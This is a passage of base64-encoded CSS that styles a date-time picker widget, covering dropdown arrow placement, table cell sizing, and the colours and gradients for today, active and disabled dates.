5cdGJvcmRlci1yaWdodDogNnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRib3JkZXItdG9wOiA2cHggc29saWQgI2ZmZmZmZjtcblx0Ym9yZGVyLWJvdHRvbTogMDtcbn1cbi5kYXRldGltZXBpY2tlci1kcm9wZG93bi1ib3R0b20tbGVmdDpiZWZvcmUge1xuXHR0b3A6IC03cHg7XG5cdHJpZ2h0OiA2cHg7XG59XG4uZGF0ZXRpbWVwaWNrZXItZHJvcGRvd24tYm90dG9tLWxlZnQ6YWZ0ZXIge1xuXHR0b3A6IC02cHg7XG5cdHJpZ2h0OiA3cHg7XG59XG4uZGF0ZXRpbWVwaWNrZXItZHJvcGRvd24tYm90dG9tLXJpZ2h0OmJlZm9yZSB7XG5cdHRvcDogLTdweDtcblx0bGVmdDogNnB4O1xufVxuLmRhdGV0aW1lcGlja2VyLWRyb3Bkb3duLWJvdHRvbS1yaWdodDphZnRlciB7XG5cdHRvcDogLTZweDtcblx0bGVmdDogN3B4O1xufVxuLmRhdGV0aW1lcGlja2VyLWRyb3Bkb3duLXRvcC1sZWZ0OmJlZm9yZSB7XG5cdGJvdHRvbTogLTdweDtcblx0cmlnaHQ6IDZweDtcbn1cbi5kYXRldGltZXBpY2tlci1kcm9wZG93bi10b3AtbGVmdDphZnRlciB7XG5cdGJvdHRvbTogLTZweDtcblx0cmlnaHQ6IDdweDtcbn1cbi5kYXRldGltZXBpY2tlci1kcm9wZG93bi10b3AtcmlnaHQ6YmVmb3JlIHtcblx0Ym90dG9tOiAtN3B4O1xuXHRsZWZ0OiA2cHg7XG59XG4uZGF0ZXRpbWVwaWNrZXItZHJvcGRvd24tdG9wLXJpZ2h0OmFmdGVyIHtcblx0Ym90dG9tOiAtNnB4O1xuXHRsZWZ0OiA3cHg7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0aCB7XG5cdHRleHQtYWxpZ246IGNlbnRlcjtcblx0d2lkdGg6IDIwcHg7XG5cdGhlaWdodDogMjBweDtcblx0LXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7XG5cdC1tb3otYm9yZGVyLXJhZGl1czogNHB4O1xuXHRib3JkZXItcmFkaXVzOiA0cHg7XG5cdGJvcmRlcjogbm9uZTtcbn1cbi50YWJsZS1zdHJpcGVkIC5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQsXG4udGFibGUtc3RyaXBlZCAuZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRoIHtcblx0YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLm9sZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQubmV3IHtcblx0Y29sb3I6ICM5OTk5OTk7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5kaXNhYmxlZDpob3ZlciB7XG5cdGJhY2tncm91bmQ6IG5vbmU7XG5cdGNvbG9yOiAjOTk5OTk5O1xuXHRjdXJzb3I6IGRlZmF1bHQ7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLnRvZGF5LFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheTpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQudG9kYXkuZGlzYWJsZWQsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLnRvZGF5LmRpc2FibGVkOmhvdmVyIHtcblx0YmFja2dyb3VuZC1jb2xvcjogI2ZkZTE5YTtcblx0YmFja2dyb3VuZC1pbWFnZTogLW1vei1saW5lYXItZ3JhZGllbnQodG9wLCAjZmRkNDlhLCAjZmRmNTlhKTtcblx0YmFja2dyb3VuZC1pbWFnZTogLW1zLWxpbmVhci1ncmFkaWVudCh0b3AsICNmZGQ0OWEsICNmZGY1OWEpO1xuXHRiYWNrZ3JvdW5kLWltYWdlOiAtd2Via2l0LWdyYWRpZW50KFxuXHRcdGxpbmVhcixcblx0XHQwIDAsXG5cdFx0MCAxMDAlLFxuXHRcdGZyb20oI2ZkZDQ5YSksXG5cdFx0dG8oI2ZkZjU5YSlcblx0KTtcblx0YmFja2dyb3VuZC1pbWFnZTogLXdlYmtpdC1saW5lYXItZ3JhZGllbnQodG9wLCAjZmRkNDlhLCAjZmRmNTlhKTtcblx0YmFja2dyb3VuZC1pbWFnZTogLW8tbGluZWFyLWdyYWRpZW50KHRvcCwgI2ZkZDQ5YSwgI2ZkZjU5YSk7XG5cdGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCh0b3AsICNmZGQ0OWEsICNmZGY1OWEpO1xuXHRiYWNrZ3JvdW5kLXJlcGVhdDogcmVwZWF0LXg7XG5cdGZpbHRlcjogcHJvZ2lkOkRYSW1hZ2VUcmFuc2Zvcm0uTWljcm9zb2Z0LmdyYWRpZW50KHN0YXJ0Q29sb3JzdHI9JyNmZGQ0OWEnLCBlbmRDb2xvcnN0cj0nI2ZkZjU5YScsIEdyYWRpZW50VHlwZT0wKTtcblx0Ym9yZGVyLWNvbG9yOiAjZmRmNTlhICNmZGY1OWEgI2ZiZWQ1MDtcblx0Ym9yZGVyLWNvbG9yOiByZ2JhKDAsIDAsIDAsIDAuMSkgcmdiYSgwLCAwLCAwLCAwLjEpIHJnYmEoMCwgMCwgMCwgMC4yNSk7XG5cdGZpbHRlcjogcHJvZ2lkOkRYSW1hZ2VUcmFuc2Zvcm0uTWljcm9zb2Z0LmdyYWRpZW50KGVuYWJsZWQ9ZmFsc2UpO1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheTpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQudG9kYXk6aG92ZXI6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLnRvZGF5LmRpc2FibGVkOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheS5kaXNhYmxlZDpob3Zlcjpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQudG9kYXk6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheTpob3ZlcjphY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLnRvZGF5LmRpc2FibGVkOmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQudG9kYXkuZGlzYWJsZWQ6aG92ZXI6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheS5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLnRvZGF5OmhvdmVyLmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQudG9kYXkuZGlzYWJsZWQuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheS5kaXNhYmxlZDpob3Zlci5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLnRvZGF5LmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheTpob3Zlci5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQudG9kYXkuZGlzYWJsZWQuZGlzYWJsZWQsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLnRvZGF5LmRpc2FibGVkOmhvdmVyLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheVtkaXNhYmxlZF0sXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLnRvZGF5OmhvdmVyW2Rpc2FibGVkXSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQudG9kYXkuZGlzYWJsZWRbZGlzYWJsZWRdLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheS5kaXNhYmxlZDpob3ZlcltkaXNhYmxlZF0ge1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjZmRmNTlhO1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheTphY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLnRvZGF5OmhvdmVyOmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQudG9kYXkuZGlzYWJsZWQ6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheS5kaXNhYmxlZDpob3ZlcjphY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLnRvZGF5LmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQudG9kYXk6aG92ZXIuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC50b2RheS5kaXNhYmxlZC5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLnRvZGF5LmRpc2FibGVkOmhvdmVyLmFjdGl2ZSB7XG5cdGJhY2tncm91bmQtY29sb3I6ICNmYmYwNjkgXFw5O1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZTpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQ6aG92ZXIge1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjMDA2ZGNjO1xuXHRiYWNrZ3JvdW5kLWltYWdlOiAtbW96LWxpbmVhci1ncmFkaWVudCh0b3AsICMwMDg4Y2MsICMwMDQ0Y2MpO1xuXHRiYWNrZ3JvdW5kLWltYWdlOiAtbXMtbGluZWFyLWdyYWRpZW50KHRvcCwgIzAwODhjYywgIzAwNDRjYyk7XG5cdGJhY2tncm91bmQtaW1hZ2U6IC13ZWJraXQtZ3JhZGllbnQoXG5cdFx0bGluZWFyLFxuXHRcdDAgMCxcblx0XHQwIDEwMCUsXG5cdFx0ZnJvbSgjMDA4OGNjKSxcblx0XHR0bygjMDA0NGNjKVxuXHQpO1xuXHRiYWNrZ3JvdW5kLWltYWdlOiAtd2Via2l0LWxpbmVhci1ncmFkaWVudCh0b3AsICMwMDg4Y2MsICMwMDQ0Y2MpO1xuXHRiYWNrZ3JvdW5kLWltYWdlOiAtby1saW5lYXItZ3JhZGllbnQodG9wLCAjMDA4OGNjLCAjMDA0NGNjKTtcblx0YmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KHRvcCwgIzAwODhjYywgIzAwNDRjYyk7XG5cdGJhY2tncm91bmQtcmVwZWF0OiByZXBlYXQteDtcblx0ZmlsdGVyOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuZ3JhZGllbnQoc3RhcnRDb2xvcnN0cj0nIzAwODhjYycsIGVuZENvbG9yc3RyPScjMDA0NGNjJywgR3JhZGllbnRUeXBlPTApO1xuXHRib3JkZXItY29sb3I6ICMwMDQ0Y2MgIzAwNDRjYyAjMDAyYTgwO1xuXHRib3JkZXItY29sb3I6IHJnYmEoMCwgMCwgMCwgMC4xKSByZ2JhKDAsIDAsIDAsIDAuMSkgcmdiYSgwLCAwLCAwLCAwLjI1KTtcblx0ZmlsdGVyOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuZ3JhZGllbnQoZW5hYmxlZD1mYWxzZSk7XG5cdGNvbG9yOiAjZmZmO1xuXHR0ZXh0LXNoYWRvdzogMCAtMXB4IDAgcmdiYSgwLCAwLCAwLCAwLjI1KTtcbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmU6aG92ZXI6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZDpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLmRpc2FibGVkOmhvdmVyOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmU6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmU6aG92ZXI6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQ6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQ6aG92ZXI6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmU6aG92ZXIuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQ6aG92ZXIuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZTpob3Zlci5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQuYWN0aXZlLmRpc2FibGVkLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQ6aG92ZXIuZGlzYWJsZWQsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZVtkaXNhYmxlZF0sXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZTpob3ZlcltkaXNhYmxlZF0sXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZFtkaXNhYmxlZF0sXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkLmFjdGl2ZS5kaXNhYmxlZDpob3ZlcltkaXNhYmxlZF0ge1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjMDA0NGNjO1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmU6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmU6aG92ZXI6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQ6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQ6aG92ZXI6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmU6aG92ZXIuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZC5hY3RpdmUuZGlzYWJsZWQ6aG92ZXIuYWN0aXZlIHtcblx0YmFja2dyb3VuZC1jb2xvcjogIzAwMzM5OSBcXDk7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyXG5cdC5kYXRldGltZXBpY2tlci1ob3Vyc1xuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLmhvdXJfYW0sXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyXG5cdC5kYXRldGltZXBpY2tlci1ob3Vyc1xuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLmhvdXJfcG0ge1xuXHR3aWR0aDogMTQuNiU7XG59XG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIC5kYXRldGltZXBpY2tlci1ob3VycyBmaWVsZHNldCBsZWdlbmQsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIC5kYXRldGltZXBpY2tlci1taW51dGVzIGZpZWxkc2V0IGxlZ2VuZCB7XG5cdG1hcmdpbi1ib3R0b206IGluaGVyaXQ7XG5cdGxpbmUtaGVpZ2h0OiAzMHB4O1xufVxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmRpc2FibGVkOmhvdmVyIHtcblx0YmFja2dyb3VuZDogbm9uZTtcblx0Y29sb3I6ICM5OTk5OTk7XG5cdGN1cnNvcjogZGVmYXVsdDtcbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUuZGlzYWJsZWQ6aG92ZXIge1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjMDA2ZGNjO1xuXHRiYWNrZ3JvdW5kLWltYWdlOiAtbW96LWxpbmVhci1ncmFkaWVudCh0b3AsICMwMDg4Y2MsICMwMDQ0Y2MpO1xuXHRiYWNrZ3JvdW5kLWltYWdlOiAtbXMtbGluZWFyLWdyYWRpZW50KHRvcCwgIzAwODhjYywgIzAwNDRjYyk7XG5cdGJhY2tncm91bmQtaW1hZ2U6IC13ZWJraXQtZ3JhZGllbnQoXG5cdFx0bGluZWFyLFxuXHRcdDAgMCxcblx0XHQwIDEwMCUsXG5cdFx0ZnJvbSgjMDA4OGNjKSxcblx0XHR0bygjMDA0NGNjKVxuXHQpO1xuXHRiYWNrZ3JvdW5kLWltYWdlOiAtd2Via2l0LWxpbmVhci1ncmFkaWVudCh0b3AsICMwMDg4Y2MsICMwMDQ0Y2MpO1xuXHRiYWNrZ3JvdW5kLWltYWdlOiAtby1saW5lYXItZ3JhZGllbnQodG9wLCAjMDA4OGNjLCAjMDA0NGNjKTtcblx0YmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KHRvcCwgIzAwODhjYywgIzAwNDRjYyk7XG5cdGJhY2tncm91bmQtcmVwZWF0OiByZXBlYXQteDtcblx0ZmlsdGVyOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuZ3JhZGllbnQoc3RhcnRDb2xvcnN0cj0nIzAwODhjYycsIGVuZENvbG9yc3RyPScjMDA0NGNjJywgR3JhZGllbnRUeXBlPTApO1xuXHRib3JkZXItY29sb3I6ICMwMDQ0Y2MgIzAwNDRjYyAjMDAyYTgwO1xuXHRib3JkZXItY29sb3I6IHJnYmEoMCwgMCwgMCwgMC4xKSByZ2JhKDAsIDAsIDAsIDAuMSkgcmdiYSgwLCAwLCAwLCAwLjI1KTtcblx0ZmlsdGVyOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuZ3JhZGllbnQoZW5hYmxlZD1mYWxzZSk7XG5cdGNvbG9yOiAjZmZmO1xuXHR0ZXh0LXNoYWRvdzogMCAtMXB4IDAgcmdiYSgwLCAwLCAwLCAwLjI1KTtcbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmU6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlOmhvdmVyOmhvdmVyLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5kaXNhYmxlZDpob3Zlcixcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUuZGlzYWJsZWQ6aG92ZXI6aG92ZXIsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlOmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmU6aG92ZXI6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5kaXNhYmxlZDphY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyXG5cdHRhYmxlXG5cdHRyXG5cdHRkXG5cdHNwYW4uYWN0aXZlLmRpc2FibGVkOmhvdmVyOmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmUuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZTpob3Zlci5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkLmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXJcblx0dGFibGVcblx0dHJcblx0dGRcblx0c3Bhbi5hY3RpdmUuZGlzYWJsZWQ6aG92ZXIuYWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmU6aG92ZXIuZGlzYWJsZWQsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkLmRpc2FibGVkLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlclxuXHR0YWJsZVxuXHR0clxuXHR0ZFxuXHRzcGFuLmFjdGl2ZS5kaXNhYmxlZDpob3Zlci5kaXNhYmxlZCxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmVbZGlzYWJsZWRdLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZTpob3ZlcltkaXNhYmxlZF0sXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkW2Rpc2FibGVkXSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXJcblx0dGFibGVcblx0dHJcblx0dGRcblx0c3Bhbi5hY3RpdmUuZGlzYWJsZWQ6aG92ZXJbZGlzYWJsZWRdIHtcblx0YmFja2dyb3VuZC1jb2xvcjogIzAwNDRjYztcbn1cbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXIgdGFibGUgdHIgdGQgc3Bhbi5hY3RpdmU6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZTpob3ZlcjphY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlLmRpc2FibGVkOmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0ZXRpbWVwaWNrZXJcblx0dGFibGVcblx0dHJcblx0dGRcblx0c3Bhbi5hY3RpdmUuZGlzYWJsZWQ6aG92ZXI6YWN0aXZlLFxuLmRhdGV0aW1lcGlja2VyLnNsbi1kYXRldGltZXBpY2tlciB0YWJsZSB0ciB0ZCBzcGFuLmFjdGl2ZS5hY3RpdmUsXG4uZGF0ZXRpbWVwaWNrZXIuc2xuLWRhdGV0aW1lcGlja2VyIHRhYmxlIHRyIHRkIHNwYW4uYWN0aXZlOmhvdmVyLmFjdGl2ZSxcbi5kYXRldGltZXBpY2tlci5zbG4tZGF0Z